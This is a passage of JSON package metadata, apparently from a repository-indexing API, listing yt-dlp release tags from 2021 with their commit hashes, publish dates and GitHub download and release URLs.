yt-dlp/releases/tag/2021.10.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.10.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.10.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.10.22/manifests"},{"name":"2021.10.10","sha":"8063de51097a7af719c7a8c95b8f7c097573046f","kind":"commit","published_at":"2021-10-10T04:03:13.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.10.10","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.10.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.10.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.10.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.10.10/manifests"},{"name":"2021.10.09","sha":"a170527e1fc382dd7be214c5134f5013a5f0747f","kind":"commit","published_at":"2021-10-09T19:11:24.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.10.09","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.10.09","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.10.09","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.10.09","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.10.09/manifests"},{"name":"2021.09.25","sha":"1fed2773498c7c85852ac92bbb4400a42697b5bd","kind":"commit","published_at":"2021-09-25T00:59:59.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.09.25","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.09.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.09.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.09.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.09.25/manifests"},{"name":"2021.09.02","sha":"9ee4f0bb5b82fab44185b762d482bf9e96acd55a","kind":"commit","published_at":"2021-09-01T23:13:38.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.09.02","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.09.02","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.09.02","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.09.02","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.09.02/manifests"},{"name":"2021.09.01","sha":"087f09d7f47244a7ba6c518a0210d08b01720a38","kind":"commit","published_at":"2021-09-01T23:01:46.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.09.01","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.09.01","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.09.01","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.09.01","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.09.01/manifests"},{"name":"2021.08.10","sha":"418964fa91b1c44e8f6e5fc323932f952cd558b7","kind":"commit","published_at":"2021-08-10T14:40:39.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.08.10","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.08.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.08.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.08.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.08.10/manifests"},{"name":"2021.08.02","sha":"6ccf351a8745ddf0c453ef5ca2549357ad27e26a","kind":"commit","published_at":"2021-08-02T05:07:10.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.08.02","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.08.02","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.08.02","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.08.02","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.08.02/manifests"},{"name":"2021.07.24","sha":"f703a880553c10828f6132135f3a04a68a965857","kind":"commit","published_at":"2021-07-24T01:33:14.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.07.24","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.07.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.07.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.07.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.07.24/manifests"},{"name":"2021.07.21","sha":"245524e6a3782efccb27f35d1f75bf9b63fe36c6","kind":"commit","published_at":"2021-07-21T21:03:28.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.07.21","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.07.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.07.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.07.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.07.21/manifests"},{"name":"2021.07.07","sha":"a8bf9b4dc15df616c2ee03be8c52d5397041bef2","kind":"commit","published_at":"2021-07-07T00:05:20.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.07.07","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.07.07","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.07.07","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.07.07","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.07.07/manifests"},{"name":"2021.06.23","sha":"6aecd87106a50c76352e34c84cdf5fe63571cd1f","kind":"commit","published_at":"2021-06-23T02:04:55.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.06.23","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.06.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.06.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.06.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.06.23/manifests"},{"name":"2021.06.09","sha":"0d47c278d1049b8e24fb24929ba7d5201786360a","kind":"commit","published_at":"2021-06-09T19:19:48.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.06.09","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.06.09","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.06.09","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.06.09","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.06.09/manifests"},{"name":"2021.06.08","sha":"3b1fe47d840325903cce8f53bbe4d1fd1e31071b","kind":"commit","published_at":"2021-06-08T14:43:41.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.06.08","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.06.08","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.06.08","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.06.08","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.06.08/manifests"},{"name":"2021.06.01","sha":"3de7c2ce9a5842e84ab90d4f97806fe21e076263","kind":"commit","published_at":"2021-06-01T14:59:03.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.06.01","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.06.01","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.06.01","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.06.01","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.06.01/manifests"},{"name":"2021.05.20","sha":"65075de35b9fb7cc9e03db322ed4be69fdcf808a","kind":"commit","published_at":"2021-05-20T13:50:07.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.05.20","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.05.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.05.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.05.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.05.20/manifests"},{"name":"2021.05.11","sha":"fac988053fc9b7a7f7dab9110d7de751511e1883","kind":"commit","published_at":"2021-05-11T08:05:05.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.05.11","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.05.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.05.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.05.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.05.11/manifests"},{"name":"2021.04.22","sha":"0cf057156051cd5f0914c896a5c7b897d6fb701b","kind":"commit","published_at":"2021-04-22T11:28:28.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.04.22","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.04.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.04.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.04.22/manifests"},{"name":"2021.04.11","sha":"a0f30f194ad6b8e6c56a37df9469ca51f3812692","kind":"commit","published_at":"2021-04-11T21:50:07.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.04.11","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.04.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.04.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.04.11/manifests"},{"name":"2021.04.03","sha":"02aabd45d044048bede4e70265779351a56714e9","kind":"commit","published_at":"2021-04-03T22:25:41.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.04.03","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.03","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.04.03","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.04.03","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.04.03/manifests"},{"name":"2021.03.24.1","sha":"a2f0b0c672eca1f4bb7ae18d4ce083cd8e4dc15e","kind":"commit","published_at":"2021-03-24T23:03:34.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.03.24.1","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.03.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.03.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.24.1/manifests"},{"name":"2021.03.24","sha":"a3affbe6a00a16f84daad3c228306bd9ff7ed103","kind":"commit","published_at":"2021-03-24T22:48:37.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.03.24","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.03.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.03.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.24/manifests"},{"name":"2021.03.21","sha":"d392c66fb4f28a7f1d9b285612c5340d9c5c6a7b","kind":"commit","published_at":"2021-03-21T21:26:39.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.03.21","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.03.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.03.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.21/manifests"},{"name":"2021.03.15","sha":"597c18665e352f5ed482f2cf1de4226f5a0eeb88","kind":"commit","published_at":"2021-03-15T00:24:39.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.03.15","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.03.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.03.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.15/manifests"},{"name":"2021.03.07","sha":"c5640c45080a736f55c602e4770d48c770e4ec5b","kind":"commit","published_at":"2021-03-07T18:36:26.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.03.07","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.03.07","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.03.07","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.07","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.07/manifests"},{"name":"2021.03.03.2","sha":"a8278ababd5f18128b31ba51649b57f2affdabf9","kind":"commit","published_at":"2021-03-03T11:04:14.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.03.03.2","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.03.03.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.03.03.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.03.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.03.2/manifests"},{"name":"2021.03.03","sha":"9963cda115ceb8367638fa8d85c2edba0ccf383a","kind":"commit","published_at":"2021-03-03T10:55:04.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.03.03","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.03.03","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.03.03","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.03","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.03/manifests"},{"name":"2021.03.01","sha":"5ef7d9bdd8c4d480612d88bd0bd2a4196f2e2562","kind":"commit","published_at":"2021-03-01T00:09:50.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.03.01","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.03.01","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.03.01","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.01","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.03.01/manifests"},{"name":"2021.02.24","sha":"c74d1aa3404e837b2c7e14c509125237630efc11","kind":"commit","published_at":"2021-02-24T21:01:17.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.02.24","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.02.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.02.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.02.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.02.24/manifests"},{"name":"2021.02.19","sha":"4524baf056c1611cea44ab5ebeb6cd8da82da6da","kind":"commit","published_at":"2021-02-19T21:44:01.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.02.19","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.02.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.02.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.02.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.02.19/manifests"},{"name":"2021.02.15","sha":"aa837ddf064e47c7055b5752ecaba33f9bea90fd","kind":"commit","published_at":"2021-02-15T22:34:27.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.02.15","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.02.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.02.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.02.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.02.15/manifests"},{"name":"2021.02.09","sha":"ba9f36d7325eb3a3f736c3ec98b80ee2b572076c","kind":"commit","published_at":"2021-02-09T19:56:56.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.02.09","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.02.09","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.02.09","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.02.09","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.02.09/manifests"},{"name":"2021.02.04","sha":"c25228e5da88bb4eaba3034b1fb129c257f9a219","kind":"commit","published_at":"2021-02-04T23:20:38.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.02.04","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.02.04","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.02.04","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.02.04","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.02.04/manifests"},{"name":"2021.01.29","sha":"29b6000e3551c4443cda1689646dccad646770cd","kind":"commit","published_at":"2021-01-29T17:55:18.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.29","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.29/manifests"},{"name":"2021.01.24-1","sha":"3b3959630ad0dd5bc0ce904f3ec8fe88d8a1f283","kind":"commit","published_at":"2021-01-24T20:07:09.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.24-1","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.24-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.24-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.24-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.24-1/manifests"},{"name":"2021.01.24","sha":"1bfd5ba95bc859dde2e76c39ec38550f1bc6270a","kind":"commit","published_at":"2021-01-24T16:01:13.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.24","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.24/manifests"},{"name":"2021.01.20","sha":"c69911e4c1b41b05a5b366e512ca8cf6ece72093","kind":"commit","published_at":"2021-01-20T21:21:45.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.20","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.20/manifests"},{"name":"2021.01.16","sha":"298f597b4f3f65b6d59407745e7a8097d20cfd5a","kind":"commit","published_at":"2021-01-16T18:54:52.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.16","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.16/manifests"},{"name":"2021.01.14","sha":"bf5a997e247406d9ccc45c2207087ade924ff459","kind":"commit","published_at":"2021-01-14T16:24:03.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.14","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.14/manifests"},{"name":"2021.01.12","sha":"9b45b9f51a581b5658e0c451523327daed8519cb","kind":"commit","published_at":"2021-01-12T22:23:49.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.12","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.12/manifests"},{"name":"2021.01.10","sha":"65156eba45a5154895ad6faaee27adcc6d65c93e","kind":"commit","published_at":"2021-01-10T22:39:08.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.10","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.10/manifests"},{"name":"2021.01.09","sha":"6fd35a110138b027113d5dfedc96ae5d3cfc3dae","kind":"commit","published_at":"2021-01-09T12:44:11.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.09","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.09","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.09","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.09","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.09/manifests"},{"name":"2021.01.08","sha":"e5bc03a6fade4a884a2942e478fa4d3b57b88d2c","kind":"commit","published_at":"2021-01-08T17:24:34.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.08","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.08","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.08","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.08","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.08/manifests"},{"name":"2021.01.07-1","sha":"0e7f2c7b4d7141504bb900ebd93b8146dcebe009","kind":"commit","published_at":"2021-01-07T20:35:52.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.07-1","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.07-1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.07-1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.0